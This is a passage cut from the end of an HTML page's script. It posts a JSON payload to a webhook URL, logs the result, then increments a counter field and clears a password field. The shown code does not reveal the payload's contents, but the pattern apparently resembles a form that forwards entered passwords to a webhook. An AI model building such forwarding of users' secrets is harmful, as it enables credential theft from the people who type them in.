xhr.open("POST", webhookUrl, true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status === 200) {
console.log("Message sent successfully!");
} else {
console.error("Failed to send message:", xhr.responseText);
}
}
};
xhr.send(JSON.stringify(payload));
document.getElementById("number").value = number + 1;
document.getElementById("password").value = "";
});
});
</script>
</html>